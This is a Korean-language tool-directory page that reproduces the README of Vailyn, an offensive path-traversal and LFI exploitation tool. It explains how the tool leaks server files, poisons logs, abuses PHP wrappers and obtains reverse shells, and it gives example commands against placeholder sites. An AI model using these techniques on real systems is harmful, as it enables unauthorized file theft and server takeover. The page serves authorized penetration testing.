Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Vailyn — Python으로 작성된 단계적이고 회피적인 경로 탐색 + LFI 스캐닝 및 익스플로잇 도구 | Kitploit
도구/GitHubGitHub/vainlystrain/vailyn
Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubvainlystrain/vailyn

Vailyn

Python으로 작성된 단계적이고 회피적인 경로 탐색 + LFI 스캐닝 및 익스플로잇 도구

저장소 보기
200244년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유


Vailyn


단계별 경로 탐색 및 LFI 공격

Vailyn 3.0

v3.0부터 Vailyn은 Phase 1에서 LFI PHP 래퍼를 지원합니다. 스캔에 포함하려면 --lfi를 사용하세요.

소개

Vailyn은 경로 탐색 및 파일 포함 취약점에 대한 다단계 취약점 분석 및 익스플로잇 도구입니다. 최대한 성능을 높이고 다양한 필터 우회 기술을 제공하기 위해 제작되었습니다.

어떻게 작동하나요?

Vailyn은 2단계로 작동합니다. 먼저 취약점이 존재하는지 확인합니다. 모든 우회 페이로드를 사용하여 /etc/passwd(또는 사용자가 지정한 파일)에 접근을 시도합니다. 응답을 분석하여 작동한 페이로드를 다른 것과 분리합니다.

이제 사용자는 어떤 페이로드를 사용할지 자유롭게 선택할 수 있습니다. 두 번째 단계에서는 이러한 페이로드만 사용됩니다.

두 번째 단계는 익스플로잇 단계입니다. 파일 및 디렉토리 사전을 사용하여 서버에서 가능한 모든 파일을 유출하려고 시도합니다. 검색 깊이와 디렉토리 순열 수준은 인수를 통해 조정할 수 있습니다. 선택적으로 발견된 파일을 다운로드하여 loot 폴더에 저장할 수 있습니다. 또는 시스템에서 역방향 셸을 얻으려고 시도하여 공격자가 서버에 대한 완전한 제어권을 얻을 수 있습니다.

현재 여러 공격 벡터를 지원합니다: 쿼리, 경로, 쿠키 및 POST 데이터를 통한 인젝션.

왜 단계를 분리하나요?

단계 분리는 도구의 성능을 크게 향상시키기 위해 수행됩니다. 이전 버전에서는 모든 파일-디렉토리 조합이 모든 페이로드로 확인되었습니다. 이로 인해 현재 페이지에 대해 작동하지 않는 페이로드가 계속 재사용되어 큰 오버헤드가 발생했습니다.

설치

권장 및 테스트된 Python 버전은 3.7+이지만 Python 3.5 및 Python 3.6에서도 잘 작동해야 합니다. Vailyn을 설치하려면 릴리스 탭에서 아카이브를 다운로드하거나 다음을 수행하세요.

root@kitploit:~
$ git clone https://github.com/VainlyStrain/Vailyn

시스템에 설치한 후 Python 종속성을 설치해야 합니다.

Unix 시스템

Unix 시스템에서는 다음을 실행하는 것으로 충분합니다.

root@kitploit:~
$ pip install -r requirements.txt   # --user

Windows

Vailyn이 사용하는 일부 라이브러리는 Windows에서 제대로 작동하지 않거나 설치에 실패할 수 있습니다.

Windows를 사용하는 경우 pip을 사용하여 Vailyn\·›\requirements-windows.txt에 나열된 요구 사항을 설치하세요.

twisted 설치에 실패하면 여기에 Windows에서 빌드되어야 하는 비공식 버전이 있습니다. 이는 타사 다운로드이며 무결성이 반드시 보장되지는 않습니다. 이 버전이 성공적으로 설치된 후 requirements-windows.txt에 대해 pip을 다시 실행하면 작동합니다.

최종 단계

역방향 셸 모듈을 완전히 사용하려면 sshpass, ncat 및 konsole이 설치되어 있어야 합니다. 패키지 이름은 Linux 배포판에 따라 다릅니다. Windows에서는 미리 수동으로 리스너를 시작해야 합니다. konsole이 마음에 들지 않으면 core/config.py에서 다른 터미널 에뮬레이터를 지정할 수 있습니다.

이제 끝입니다! 설치 디렉토리로 이동하여 다음을 수행하여 Vailyn을 실행하세요.

root@kitploit:~
$ python Vailyn -h

사용법

Vailyn에는 3개의 필수 인수가 있습니다: -v VIC, -a INT 및 -p2 TP P1 P2. 그러나 -a에 따라 더 많은 인수가 필요할 수 있습니다.

root@kitploit:~
   ,                \                  /               , 
     ':.             \.      /\.     ./            .:'
        ':;.          :\ .,:/   ''. /;        ..::'
           ',':.,.__.'' '          ' `:.__:''.:'
              ';..                        ,;'     *
       *         '.,                   .:'
                    `v;.            ;v'        o
              .      '  '..      :.' '     .
                     '     ':;, '    '
            o                '          .   :        
                                           *
                         | Vailyn |
                      [ VainlyStrain ]
    
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2 
        [-p PAM] [-i F] [-Pi VIC2]
      [-c C] [-n] [-d I J K]
       [-s T] [-t] [-L]
  [-l] [-P] [-A] 

필수:
  -v VIC, --victim VIC  공격 대상, 1부 [페이로드 전]
  -a INT, --attack INT  공격 유형 (정수, 1-5 또는 A)

    A|  스파이더 (전체)       2|  경로               5|  POST 데이터, json
    P|  스파이더 (부분)       3|  쿠키
    1|  쿼리 매개변수        4|  POST 데이터, 평문

  -p2 TP P1 P2, --phase2 TP P1 P2
                        Phase 2 공격 및 필요한 매개변수

┌[ 값 ]─────────────────┬──────────────────────────┐
│ TP      │ P1          │ P2                       │
├─────────┼─────────────┼──────────────────────────┤
│ leak    │ 파일 사전   │ 디렉토리 사전            │
│ inject  │ IP 주소     │ 수신 포트                │
│ implant │ 소스 파일   │ 서버 대상                │
└─────────┴─────────────┴──────────────────────────┘

추가:
  -p PAM, --param PAM   --attack 1, 4, 5에 대한 쿼리 매개변수 또는 POST 데이터
  -i F, --check F       Phase 1에서 확인할 파일 (기본값: etc/passwd)
  -Pi VIC2, --vic2 VIC2 공격 대상, 2부 [페이로드 후]
  -c C, --cookie C      추가할 쿠키 (헤더 형식)
  -l, --loot            발견된 파일을 loot 폴더에 다운로드
  -d I J K, --depths I J K
                        깊이 (I: Phase 1, J: Phase 2, K: 순열 수준)
  -h, --help            이 도움말 메뉴를 표시하고 종료
  -s T, --timeout T     요청 시간 초과; Arjun용 안정 스위치
  -t, --tor             Tor 익명 네트워크를 통해 공격 파이프
  -L, --lfi             PHP 래퍼를 추가로 사용하여 파일 유출
  -n, --nosploit        Phase 2 건너뛰기 (-p2 TP P1 P2 필요 없음)
  -P, --precise         Phase 1에서 정확한 깊이 사용 (범위 아님)
  -A, --app             Vailyn의 Qt5 인터페이스 시작

개발:
  --debug               404을 포함한 모든 시도 경로 표시
  --version             프로그램 버전을 출력하고 종료
  --notmain             서브프로세스 호출에서 notify2 충돌 방지

정보:
  절대 경로를 사용하여 파일 유출: -d 0 0 0
  절대 경로를 사용하여 셸 획득: -d 0 X 0

Vailyn은 현재 5가지 공격 벡터를 지원하며, 이를 자동화하는 크롤러도 제공합니다. 수행되는 공격은 -a INT 인수로 식별됩니다.

root@kitploit:~
INT        공격
----       -------
1          쿼리 기반 공격  (https://site.com?file=../../../)
2          경로 기반 공격   (https://site.com/../../../)
3          쿠키 기반 공격 (쿠키를 자동으로 가져옵니다)
4          평문 POST 데이터     (ELEM1=VAL1&ELEM2=../../../)
5          JSON POST 데이터      ({"file": "../../../"})
A          스파이더              모든 벡터를 사용하여 사이트의 모든 URL 가져오기 및 분석
P          부분 스파이더         선택한 벡터만 사용하여 사이트의 모든 URL 가져오기 및 분석

또한 공격할 대상을 지정해야 합니다. 이는 -v VIC 및 -Pi VIC2를 통해 수행되며, -v는 인젝션 포인트 이전 부분이고 -Pi는 나머지 부분입니다.

예: 최종 URL이 https://site.com/download.php?file=<공격>&param2=necessaryvalue처럼 보여야 하는 경우 -v https://site.com/download.php 및 -Pi &param2=necessaryvalue(그리고 쿼리 공격이므로 -p file)을 지정할 수 있습니다.

PHP 래퍼(예: php://filter)를 스캔에 포함하려면 --lfi 인수를 사용하세요. Phase 1이 끝나면 작동한 래퍼가 포함된 추가 선택 메뉴가 표시됩니다. (있는 경우)

공격 대상 사이트가 로그인 페이지 뒤에 있는 경우 -c COOKIE를 통해 인증 쿠키를 제공할 수 있습니다. Tor를 통해 공격하려면 --tor를 사용하세요.

Phase 1

작동하는 페이로드를 나머지와 분리하는 분석 단계입니다.

기본적으로 /etc/passwd가 조회됩니다. 서버가 Linux를 실행하지 않는 경우 -i FILENAME으로 사용자 정의 파일을 지정할 수 있습니다. FILENAME에 하위 디렉토리를 포함해야 합니다. 조회 깊이는 -d의 첫 번째 값으로 수정할 수 있습니다(기본값=8). 절대 경로를 사용하려면 첫 번째 깊이를 0으로 설정하세요.

Phase 2

익스플로잇 단계입니다. Vailyn은 가능한 한 많은 파일을 유출하거나 다양한 기술을 사용하여 역방향 셸을 획득하려고 시도합니다.

Phase 2의 조회 깊이(최대 역방향 트래버스 계층 수)는 -d 인수의 두 번째 값으로 지정됩니다. 하위 디렉토리 순열 수준은 -d의 세 번째 값으로 설정됩니다.

절대 경로로 공격하고 유출 공격을 수행하는 경우 모든 깊이를 0으로 설정하세요. 역방향 셸을 얻으려면 두 번째 깊이가 0보다 큰지 확인하세요.

-l을 지정하면 Vailyn이 터미널에 파일을 표시할 뿐만 아니라 파일을 다운로드하여 loot 폴더에 저장합니다.

자세한 출력(발견된 파일뿐만 아니라 모든 출력 표시)을 원하면 --debug를 사용할 수 있습니다. 출력이 매우 지저분해지므로 기본적으로 디버그 도움말입니다.

무차별 대입 공격을 수행하려면 -p2 leak FIL PATH를 지정해야 합니다. 여기서

  • FIL은 파일 이름만 포함하는 사전 파일입니다(예: index.php).
  • PATH는 디렉토리 이름만 포함하는 사전 파일입니다. Vailyn이 디렉토리 순열을 처리하므로 한 줄에 하나의 디렉토리만 필요합니다.

코드 인젝션을 통해 역방향 셸을 얻으려면 -p2 inject IP PORT를 사용할 수 있습니다. 여기서

  • IP는 수신 IP입니다.
  • PORT는 수신하려는 포트입니다.

경고

Vailyn은 로그 포이즈닝 기술을 사용합니다. 따라서 지정된 IP가 서버 로그에 표시됩니다.

기술(LFI 포함에만 작동):

  • /proc/self/environ 포함은 구형 서버에서만 작동합니다.
  • Apache + Nginx 로그 포이즈닝 및 포함
  • SSH 로그 포이즈닝
  • 오염된 메일 포함
  • 래퍼
    • expect://
    • data:// (평문 및 b64)
    • php://input

오탐지 방지

Vailyn은 실제 결과와 오탐지를 구분하기 위해 다음 검사를 수행합니다:

  • 응답의 상태 코드 확인
  • 공격 시작 전에 찍은 응답과 동일한지 확인: 예를 들어 서버가 200을 반환하지만 페이로드 입력을 무시하거나 파일을 찾을 수 없을 때 기본 페이지를 반환하는 경우에 유용합니다.
  • #2와 유사하게, 쿼리 GET 매개변수 처리를 위한 추가 검사(필요한 매개변수가 누락되면 서버가 오류를 반환하는 경우 유용)
  • 빈 응답 확인
  • 응답 콘텐츠에 일반적인 오류 시그니처가 있는지 확인
  • 응답에 페이로드가 포함되어 있는지 확인: 서버가 존재하지 않는 파일에 대해 200을 응답하고 메시지에 페이로드를 반영하는 경우(예: ../../secret을 찾을 수 없음)에 대한 추가 검사
  • 전체 응답이 초기 검사 응답에 포함되어 있는지 확인: 서버에 기본 포함이 있고 404의 경우 사라지는 경우 유용
  • -a 2의 경우 응답 콘텐츠가 서버 루트 URL의 콘텐츠와 일치하는지 추가 확인
  • /etc/passwd를 조회 파일로 사용하는 경우 REGEX 검사

예제

  • 간단한 쿼리 공격, Phase 2에서 파일 유출: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT

  • 쿼리 공격이지만 file.php 파일이 포함 지점 위 정확히 2단계에 존재한다는 것을 알고 있음: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P 이렇게 하면 대상 공격이므로 Phase 1의 지속 시간이 크게 단축됩니다.

  • 간단한 경로 공격: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT

  • 경로 공격이지만 쿼리 매개변수와 태그가 필요함: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title

  • 간단한 쿠키 공격: $ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs 쿠키를 가져와서 오염시킬 쿠키를 선택할 수 있습니다.

데모

asciicast Vailyn의 크롤러가 매우 취약한 웹 애플리케이션을 분석하고 있습니다. LFI 래퍼는 활성화되지 않았습니다.

GUI 데모 (v2.2.1-5)

가능한 문제

오탐지/부정 발견(또는 다른 버그/개선 사항을 지적하려는 경우): 이슈를 남겨주세요!

행동 강령

Vailyn은 공격적인 웹 애플리케이션 감사 도구로 제공됩니다. 이 도구에는 웹 애플리케이션의 잠재적 취약점을 드러낼 수 있는 내장 기능이 있으며, 이는 악의적으로 악용될 수 있습니다.

따라서 저자나 기여자는 이 툴킷으로 인한 오용이나 손해에 대해 책임을 지지 않습니다.

이 소프트웨어를 사용함으로써 사용자는 현지 법률을 준수하고, 소유자의 명시적 허가 없이 타인의 시스템을 공격하거나 악의적인 의도로 공격하지 않을 것을 동의합니다.

위반 시, 이를 저지른 최종 사용자만이 자신의 행동에 대해 책임을 집니다.

크레딧 및 저작권

Vailyn: Copyright © VainlyStrain

Arjun: Copyright © s0md3v

Arjun은 더 이상 Vailyn에 포함되어 배포되지 않습니다. pip을 통해 최신 버전을 설치하세요.

도구 다운로드
  • POST 평문 공격: $ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT" DATA2에 페이로드를 삽입합니다.

  • POST JSON 공격: $ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'

  • 공격이지만 대상이 로그인 화면 뒤에 있음: $ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"

  • 공격이지만 포트 1337에서 역방향 셸을 원함: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # 로그 인젝션을 위해 높은 Phase 2 깊이가 필요함 (Unix에서 ncat 리스너를 시작합니다)

  • 크롤러 모드에서 완전 자동화: $ Vailyn -v "http://root-url.site" -a A 여기에 쿠키, 깊이, lfi 및 조회 파일과 같은 다른 인수를 지정할 수도 있습니다.

  • 완전 자동화이지만 Arjun에 --stable이 필요함: $ Vailyn -v "http://root-url.site" -a A -s ANY